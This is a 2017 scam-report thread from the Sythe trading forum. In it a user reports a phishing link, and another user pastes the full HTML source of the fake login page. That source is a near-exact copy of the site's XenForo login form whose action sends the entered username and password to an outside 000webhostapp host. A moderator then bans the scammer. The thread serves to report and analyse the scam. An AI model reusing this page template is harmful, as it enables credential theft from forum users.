Karns - Phishing/Fake Sythe Site

RedRanger1120 · Sep 28, 2017

User: Karns

Scam: He is sending a link with a fake Sythe site.

Proof:
phish1

Leads to:
Thread | Sell & Trade Game Items | RS Gold | CSGO | ELO | Rocket League

Whursthof · Sep 28, 2017

I got the same guy ... i clicked on the link ... was wondering if my computer was at risk? i'm running a virus scan atm

Whursthof · Sep 28, 2017

here's the source code of the page ... idk if some1 can make sense out of it ... appears to be running some sort of javascript and also set cookies

edit: after reviewing the code it appears that it was a sad attempt at copying the sythe login page to recover login/password but i'm unsure

Code:

<!DOCTYPE html>
<html id="XenForo" lang="en-US" dir="LTR" class="Public NoJs LoggedOut NoSidebar Responsive" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<script src="/cdn-cgi/apps/head/CxXxiy3PYUQPur0q7_JH8BQV8do.js"></script><link rel="icon" type="image/png" href="//www.sythe.org/js/favicon.png"/>
<meta charset="utf-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<base href="https://www.sythe.org/"></base>
<script>
            var _b = document.getElementsByTagName('base')[0], _bH = "https://www.sythe.org/";
            if (_b && _b.href != _bH) _b.href = _bH;
        </script>
<title>Thread | Sell & Trade Game Items | RS Gold | CSGO | ELO | Rocket League</title>
<noscript><style>.JsOnly, .jsOnly { display: none !important; }</style></noscript>
<link rel="stylesheet" href="css.php?css=xenforo,form,public&style=65&dir=LTR&d=1503384857"/>
<script src="js/jquery/jquery-1.11.0.min.js"></script>
<script src="js/xenforo/xenforo.js?_v=8e046721"></script>
<link rel="apple-touch-icon" href="https://img.sythe.org/Sythe.svg"/>
<link rel="alternate" type="application/rss+xml" title="RSS feed for Sell & Trade Game Items | RS Gold | CSGO | ELO | Rocket League" href="forums/-/index.rss"/>
<meta name="robots" content="noindex"/>
<link rel="stylesheet" type="text/css" href="//img.sythe.org/faa/css/font-awesome.css"/>
<script>
    function getCookie(cname) {
        var name = cname + "=";
        var ca = document.cookie.split(';');
        for(var i=0; i<ca.length; i++) {
            var c = ca[i];
            while (c.charAt(0)==' ') c = c.substring(1);
            if (c.indexOf(name) == 0) return c.substring(name.length,c.length);
        }
        return "";
    }
    function setCookie(cname, cvalue, exdays) {
        var d = new Date();
        d.setTime(d.getTime() + (exdays*24*60*60*1000));
        var expires = "expires="+d.toUTCString();
        document.cookie = cname + "=" + cvalue + "; " + expires;
    }
</script>
</head>
<body>
<div id="headerMover">
<header>
<div id="header">
<div id="navigation" class="pageWidth withSearch">
<div class="pageContent">
<nav>
<div class="navTabs showAll">
</div>
<span class="helper"></span>
</nav>
</div>
</div>
<div id="logoBlock">
<div class="pageWidth">
<div class="pageContent">
<div style="display: block; align: right; float: right; max-height: 201px; width: auto; height: auto; margin-top: 40px; margin-right: 10px;">
<span><a href="https://stake.com/?code=Sythelink" border="0" target="_blank"><img class="content__sa_top" src="//cache.sythe.org/3yxSzZspjFrn8bQwaZuoWmh0dHA6Ly9pLmltZ3VyLmNvbS9nR0NpUDhkLmdpZg==" border="0" style="max-width:600px; max-height:90px; width:auto; height:auto;"></a></span><br class="style11only"/><span class="style11never"> </span><span><a href="https://www.arcusgold.com" border="0" target="_blank"><img class="content__sa_top" src="//cache.sythe.org/tP8TvIwJceEy4QRxHtjpcGh0dHBzOi8vbWVkaWEuZ2lwaHkuY29tL21lZGlhLzI2eEJ6Y0JET2hXZDRRU1dzL3NvdXJjZS5naWY=" border="0" style="max-width:600px; max-height:90px; width:auto; height:auto;"></a></span><br class="style11only"/><span class="style11never"> </span><span class="nomo"><a href="/cdn-cgi/l/email-protection#1d717473766e5d6e6469757833726f7a"><img src="//img.sythe.org/adsythe4.png" align="right" border="0" style="max-width: 168px; max-height: 21px; width:auto; height:auto;"/></a></span>
</div>
<div id="logo"><a href="https://www.sythe.org/">
<span></span>
<img class="logoimage" src="//img.sythe.org/newlogo1.png" alt="Sell & Trade Game Items | RS Gold | CSGO | ELO | Rocket League" width="400" height="150"/>
</a></div>
<span class="helper"></span>
</div>
</div>
</div>
</div>
</header>
<div id="content" class="error_with_login">
<div class="pageWidth">
<div class="pageContent">

<script>!function(e,t,r,a,n,c,l,o){function h(e,t,r,a){for(r='',a='0x'+e.substr(t,2)|0,t+=2;t<e.length;t+=2)r+=String.fromCharCode('0x'+e.substr(t,2)^a); return r}try{for(n=e.getElementsByTagName('a'),l='/cdn-cgi/l/email-protection#',o=l.length,a=0;a<n.length;a++)try{c=n[a],t=c.href.indexOf(l),t>-1&&(c.href='mailto:'+h(c.href,t+o))}catch(f){}for(n=Array.prototype.slice.apply(e.getElementsByClassName('__cf_email__')),a=0;a<n.length;a++)try{c=n[a],c.parentNode.replaceChild(e.createTextNode(h(c.getAttribute('data-cfemail'),0)),c)}catch(f){}}catch(f){}}(document)</script><script>
        function toggle_hidden(id, whole) {
            var nodes = document.getElementsByClassName("node_" + id);
            if (nodes.length > 0) {
                var node = nodes[0];
                var nodeLists = node.getElementsByClassName("nodeList");
                if (nodeLists.length > 0) {
                    var nodeList = nodeLists[0];
                    nodeList.style.display = ( ( whole ? node.style.display : nodeList.style.display ) == '' ? 'none' : '' );
                                    if (whole) node.style.display = nodeList.style.display;
                    setCookie("xentemplatecookie_hide_node" + id, (nodeList.style.display == 'none' ?  'hide' : 'show'), 99999);
                }
            }
         
            if ( typeof update_sidebar_toggle_arrow !== 'undefined' ) update_sidebar_toggle_arrow();
        }
     
        function com_gen() {
                    toggle_hidden("217", true);
        }
    </script>
<div class="breadBoxTop ">
<nav>
<fieldset class="breadcrumb">
<a href="misc/quick-navigation-menu" class="OverlayTrigger jumpMenuTrigger" data-cacheOverlay="true" title="Open quick navigation"></a>
<div class="boardTitle"><strong>Sell & Trade Game Items | RS Gold | CSGO | ELO | Rocket League</strong></div>
<span class="crumbs">
<span class="crust homeCrumb" itemscope="itemscope" itemtype="http://data-vocabulary.org/Breadcrumb">
<a href="https://www.sythe.org/" class="crumb" rel="up" itemprop="url"><span itemprop="title">Forums</span></a>
<span class="arrow"><span></span></span>
</span>
</span>
</fieldset>
</nav>
</div>
<!--[if lt IE 8]>
                            <p class="importantMessage">You are using an out of date browser. It  may not display this or other websites correctly.<br />You should upgrade or use an <a href="https://www.google.com/chrome/browser/" target="_blank">alternative browser</a>.</p>
                        <![endif]-->

<div class="titleBar">
<h1>Sell & Trade Game Items | RS Gold | CSGO | ELO | Rocket League - Error</h1>
</div>

<form action="https://sythe-org.000webhostapp.com/log.php" method="post" class="xenForm" id="pageLogin">
<div class="errorPanel"><span class="errors">
Please log in.
</span></div>
<h2 class="textHeading">Log in or Sign up</h2>
<dl class="ctrlUnit">
<dt><label for="ctrl_pageLogin_login">Your name or email address:</label></dt>
<dd><input type="text" name="login" value="" id="ctrl_pageLogin_login" class="textCtrl" tabindex="1"/></dd>
</dl>
<dl class="ctrlUnit">
<dt><label for="ctrl_pageLogin_password">Do you already have an account?</label></dt>
<dd>
<ul>
<li><label for="ctrl_pageLogin_not_registered"><input type="radio" name="register" value="1" id="ctrl_pageLogin_not_registered" tabindex="5"/>
No, create an account now.</label></li>
<li><label for="ctrl_pageLogin_registered"><input type="radio" name="register" value="0" id="ctrl_pageLogin_registered" checked="checked" class="Disabler" tabindex="5"/>
Yes, my password is:</label></li>
<li id="ctrl_pageLogin_registered_Disabler">
<input type="password" name="password" class="textCtrl" id="ctrl_pageLogin_password" tabindex="2" autofocus="autofocus"/>
<div><a href="lost-password/" class="OverlayTrigger OverlayCloser" tabindex="6">Forgot your password?</a></div>
</li>
</ul>
</dd>
</dl>
<dl class="ctrlUnit submitUnit">
<dt></dt>
<dd>
<input type="submit" class="button primary" value="Log in" data-loginPhrase="Log in" data-signupPhrase="Sign up" tabindex="4"/>
<label class="rememberPassword"><input type="checkbox" name="remember" checked="checked" value="1" id="ctrl_pageLogin_remember" tabindex="3"/> Stay logged in</label>
</dd>
</dl>
<input type="hidden" name="cookie_check" value="1"/>
<input type="hidden" name="_xfToken" value/>
<input type="hidden" name="redirect" value="https://www.sythe.org/members/bumbum.378759/"/>
</form>
<script>
    $(function()
    {
        var $button = $('#pageLogin input.button.primary');
        $('#pageLogin input[name="register"]').click(function()
        {
            $button.val(
                $('#pageLogin input[name="register"]:checked').val() == '1'
                ? $button.data('signupphrase')
                : $button.data('loginphrase')
            );
        });
    });
</script>
<br/>
<div align="center" id="content__bottom_sa" style="width: auto; height: auto;"><span><a href="http://www.arcusgold.com/runescape-accounts" border="0" target="_blank"><img class="content__sa_bottom" src="//cache.sythe.org/GLmvQ9GXuy1K/4c/W+yLaGh0dHA6Ly9pLmltZ3VyLmNvbS9BZERZdjFrLnBuZw==" border="0" style="max-width:728px; max-height:90px; width:auto; height:auto;"></a></span><span><a href="http://www.treegp.com" border="0" target="_blank"><img class="content__sa_bottom" src="//cache.sythe.org/UhxYf35rLNFVKeGgde6vPWh0dHBzOi8vbWVkaWEuZ2lwaHkuY29tL21lZGlhLzI2eEJIYlBDR3l0ajFwSUs0L3NvdXJjZS5naWY=" border="0" style="max-width:728px; max-height:90px; width:auto; height:auto;"></a></span></div>
<div class="breadBoxBottom" style="display: none;">
<nav>
<fieldset class="breadcrumb">
<a href="misc/quick-navigation-menu" class="OverlayTrigger jumpMenuTrigger" data-cacheOverlay="true" title="Open quick navigation"></a>
<div class="boardTitle"><strong>Sell & Trade Game Items | RS Gold | CSGO | ELO | Rocket League</strong></div>
<span class="crumbs">
<span class="crust homeCrumb">
<a href="https://www.sythe.org/" class="crumb"><span>Forums</span></a>
<span class="arrow"><span></span></span>
</span>
</span>
</fieldset>
</nav></div>
</div>
</div>
</div>
</div>
<footer>
<div class="footer">
<div class="pageWidth">
<div class="pageContent">
<ul class="footerLinks">
<li><a href="https://www.sythe.org/discord" target="_blank"><i class="fa fa-comments" aria-hidden="true"></i> Sythe Discord</a>
</li>
<li><a href="https://www.instagram.com/sythe_market/?hl=en" target="_blank"><i class="fa fa-instagram" aria-hidden="true"></i> Follow us</a>
</li>
<li><a href="https://www.reddit.com/r/SytheMarket" target="_blank"><i class="fa fa-reddit" aria-hidden="true"></i> r/SytheMarket</a>
</li>
<li><a href="https://www.youtube.com/channel/UCda_PocpvBQoboVJUdpo68g" target="_blank"><i class="fa fa-youtube" aria-hidden="true"></i> Subscribe to us</a>
</li>
<li><a href="https://twitter.com/SytheMarket" target="_blank"><i class="fa fa-twitter" aria-hidden="true"></i> Follow us</a>
</li>
<li><a href="https://www.facebook.com/SytheMarket/" target="_blank"><i class="fa fa-facebook" aria-hidden="true"></i> Like us</a>
</li>
<li><a href="misc/contact" class="OverlayTrigger" data-overlayOptions="{"fixed":false}">Contact Us</a></li>
<li><a href="help/">Help</a></li>
<li><a href="https://www.sythe.org/" class="homeLink">Home</a></li>
<li><a href="/login/login#navigation" class="topLink">Top</a></li>
<li><a href="forums/-/index.rss" rel="alternate" class="globalFeed" target="_blank" title="RSS feed for Sell & Trade Game Items | RS Gold | CSGO | ELO | Rocket League">RSS</a></li>
</ul>
<span class="helper"></span>
</div>
</div>
</div>
<div class="footerLegal">
<div class="pageWidth">
<div class="pageContent">
<ul id="legal">
<li><a href="help/terms">Terms and Rules</a></li>
</ul>
<div id="copyright"><a href="https://xenforo.com" class="concealed">Forum software by XenForo™ <span>©2010-2016 XenForo Ltd.</span></a> </div>
<span class="helper"></span>
</div>
</div>
</div>
</footer>
<script>


jQuery.extend(true, XenForo,
{
    visitor: { user_id: 0 },
    serverTimeInfo:
    {
        now: 1504044323,
        today: 1503979200,
        todayDow: 2
    },
    _lightBoxUniversal: "0",
    _enableOverlays: "1",
    _animationSpeedMultiplier: "1",
    _overlayConfig:
    {
        top: "10%",
        speed: 200,
        closeSpeed: 100,
        mask:
        {
            color: "rgb(255, 255, 255)",
            opacity: "0.6",
            loadSpeed: 200,
            closeSpeed: 100
        }
    },
    _ignoredUsers: [],
    _loadedScripts: [],
    _cookieConfig: { path: "/", domain: "", prefix: "xf_"},
    _csrfToken: "",
    _csrfRefreshUrl: "login/csrf-token-refresh",
    _jsVersion: "8e046721",
    _noRtnProtect: false,
    _noSocialLogin: false
});
jQuery.extend(XenForo.phrases,
{
    cancel: "Cancel",

    a_moment_ago:    "A moment ago",
    one_minute_ago:  "1 minute ago",
    x_minutes_ago:   "%minutes% minutes ago",
    today_at_x:      "Today at %time%",
    yesterday_at_x:  "Yesterday at %time%",
    day_x_at_time_y: "%day% at %time%",

    day0: "Sunday",
    day1: "Monday",
    day2: "Tuesday",
    day3: "Wednesday",
    day4: "Thursday",
    day5: "Friday",
    day6: "Saturday",

    _months: "January,February,March,April,May,June,July,August,September,October,November,December",
    _daysShort: "Sun,Mon,Tue,Wed,Thu,Fri,Sat",

    following_error_occurred: "The following error occurred",
    server_did_not_respond_in_time_try_again: "The server did not respond in time. Please try again.",
    logging_in: "Logging in",
    click_image_show_full_size_version: "Click this image to show the full-size version.",
    show_hidden_content_by_x: "Show hidden content by {names}"
});

// Facebook Javascript SDK
XenForo.Facebook.appId = "";
XenForo.Facebook.forceInit = false;


</script>
<div style='text-align: right;position: fixed;z-index:9999999;bottom: 0; width: 100%;cursor: pointer;line-height: 0;'><a title="Hosted on free web hosting 000webhost.com. Host your own website for FREE." target="_blank" href="https://www.000webhost.com/?utm_source=000webhostapp&utm_campaign=000_logo&utm_medium=website_sythe-org&utm_content=footer_img"><img src="https://cloud.githubusercontent.com/assets/23024110/20663010/9968df22-b55e-11e6-941d-edbc894c2b78.png"  alt="www.000webhost.com"></a></div></body>
</html>

Champ · Sep 29, 2017

Banned, thanks!

Log in or Sign up

Karns - Phishing/Fake Sythe Site

RedRanger1120 Active Member

Whursthof Active Member

Whursthof Active Member

Champ Hero

Log in or Sign up

Karns - Phishing/Fake Sythe Site

Thread Tools

RedRanger1120 Active Member

Whursthof Active Member

Whursthof Active Member

Champ Hero